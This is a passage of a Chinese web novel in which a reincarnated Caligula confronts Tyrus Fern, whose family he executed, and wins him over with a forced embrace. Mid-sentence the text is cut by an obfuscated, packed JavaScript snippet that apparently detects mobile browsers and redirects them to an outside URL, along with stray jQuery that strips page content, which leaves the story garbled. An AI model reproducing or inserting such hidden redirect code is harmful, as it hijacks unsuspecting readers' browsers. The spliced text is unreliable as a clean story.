他一进来,就看到一张背对自己的转椅,苍白的双手搭在两侧扶手上。
“您好,我叫泰勒斯·法恩。”泰勒斯礼貌地介绍着自己。
转椅里的卡里古拉沉默一会,对秘书命令道:“弗维斯,你可以出去了,把门关上。”
这个声音好像打开一个尘封已久的魔盒,盒里好不容易封印的诅咒又跑出来。
泰勒斯仅仅听到声音,就有出自本能的惊惧。他下意识倒退两步,张大的黑眼睛里映出一张梦魇般的熟悉的脸。
“我们又见面了,我的泰勒斯。”卡里古拉脸颊通红,嘴唇发着抖,戴着珠宝的手紧紧抓着桌边。
泰勒斯往后退着,脊背一下子抵到玻璃门,“你别过来。”他冷冰冰地说。
“我不过去!”卡里古拉死死抓着桌边,拼命克制住冲过去抱他的欲望,“你不要害怕,我不会伤害你的……”
泰勒斯抵住玻璃,知道逃跑无用,很快就冷静下来。
“你怎么找到我的?”他语气镇定地问。
卡里古拉盯着他的脸,喉咙吞咽一下,说道:“来到这个奇怪的世界时,我保持着旧名,就用泰勒斯·法恩这个名字,动用所有的人脉在罗马找你。结果,我真的找到你了。”
泰勒斯的脸色黑下来,“你不准说我的姓氏。”
卡里古拉激动得下巴抽搐,眼巴巴地望着他,半天憋出一句话:“对不起,泰勒斯……”
泰勒斯这时才感到后背有一层薄汗。他靠着玻璃,身体慢慢滑落,瘫坐在灰蓝色的尼龙地毯上。
悄无声息地推开转椅,卡里古拉轻手轻脚,一边观察他的脸色,一边轻挪脚步凑近他。
“为什么在这一世我还会碰到你?明明已经把泪瓶封起来了……”泰勒斯仰起脸,神情复杂,看着炽白的办公室灯管。
卡里古拉坐到身边,摸上他指节分明的手。皮肤相触时,卡里古拉差点流出眼泪。
他哆嗦着嘴唇说:“因为杀我的时候,你哭了。”
泰勒斯很惊诧,转过脸看着他。
卡里古拉拿起他的手,用他的指头点在自己的颧骨上,“你的眼泪,滴到了我的脸上……就在这里,我记得很清楚。”
“我……哭了吗?”泰勒斯声音轻得像在喃喃自语。
卡里古拉点头,摊开他的手掌,吻一下手掌心,再摊开紧贴自己的脸颊,“我想就是你流的那滴眼泪,才能让我们在这个新的世界相遇。”
泰勒斯抽回手,与他分开一些距离,冷漠地说:“你像鬼一样阴魂不散!”
卡里古拉坚持不懈地凑上去,“我理解你的心情,泰勒斯。你的父母殒命在我手里,后来因为误会,你的姐姐也……当时,那个该被千刀万剐的门希告诉我,你与贞女私通,再加上我一直很介意你的那个‘儿子’,一气之下就下令……如果我知道她是你的姐姐,我一定会清除她的罪行,送她一处别墅让她和她的儿子好好生活……”
泰勒斯双手捂住双眼,指缝间有猛烈的抽气声。他几近崩溃地说:“别说了……别说了!我恨你,我恨你!卡里古拉,我恨死你了……”
卡里古拉抱住他的肩膀,将他圈进怀里,“对不起,泰勒斯。除了这句话,我不知道还能说什么。”
泰勒斯推阻他靠过来的肩膀,挣扎着。卡里古拉将他箍得很紧,满脸涨红。
“放开我!”泰勒斯拼命挣脱,激动之下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239686|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抓伤他的脸颊,用力捶打他的胸膛。卡里古拉的脸颊顿显血道,仍然默默承受着,不愿意松手。
他死死箍住泰勒斯,亲吻他的发顶,一边吻一边说道:“在这个世界,我也查了你的父母和姐姐的名字,但什么都没有搜到。也就是说,现在,我不再是什么皇帝,你也不是法恩家族的后人……”
他凑到他的耳边:“就让我们遵从自己最真实的想法去活一次。”
“滚!”泰勒斯愤愤地说,“我对你不会有一点感情!”
“不,你爱我,我心里很清楚。”卡里古拉抱着他,低沉开口:“那天……你喝醉了,一边流泪一边答应一直保护我。你给我泪瓶作为信物,我立下遗嘱,死后一定要带走它,然后我们一起把它藏进最安全的神庙。还记得吗……那天晚上,我们度过有生以来最销魂的一夜……”
泰勒斯的抵抗逐渐变弱。他捂着脸,眼泪从指缝间掉出来,挣扎一样地哽咽道:“我的父亲,我的母亲……我的姐姐……”
“这个世界没有他们。况且……”卡里古拉轻声说,“我也已经偿命了。”
泰勒斯闭着眼睛哽咽,半天没有说话。这意味着他动摇了。
卡里古拉瞅准时机,打横抱起他,压在办公室里的沙发上。
“我爱你,泰勒斯。”他直白而强势地表达道,“做我的保镖吧,每天陪着我。我会让你享受到最好的,就像我曾经做的那样。”
泰勒斯仰躺着,双颊潮红,亮白的白炽灯打照眼底。他在个人的爱情和家族的仇恨之间进退维谷,苦涩地说:“其实他们都有罪……”
正在脱运动服的动作停住,卡里古拉的手臂撑在泰勒斯的两侧,问道:“什么意思?”
“我的父母钻法律的漏洞,贩卖公民身份。我的姐姐,是已经结婚的不洁之身,却混入神庙。他们都有罪……”泰勒斯语气悲苦,“可为什么,处死他们的都是你……”
卡里古拉怔愣一下,随即一笑,手掌盖住那双黑眼睛,低头吻他的嘴唇。
“终于不再欺骗自己了吗,我的泰勒斯。”卡里古拉认真地说,“我浑身的血液,我的一生,都在渴求这一刻啊。”
泰勒斯用手挡住他即将吻下来的双唇,将头偏向一边,小声说:“这间屋子的墙壁,都是玻璃……”
卡里古拉了然,伸出手,按下不远处的遥控器的一个按钮。百叶窗像听话的士兵一样,全部自动阖上,将四周玻璃挡得严严实实。
泰勒斯看到能自动关阖的百叶窗,歪着头,样子有些震惊。
卡里古拉摆正他的脸,让他看着自己,“好玩吧?我刚来到这里时,也觉得挺有意思。”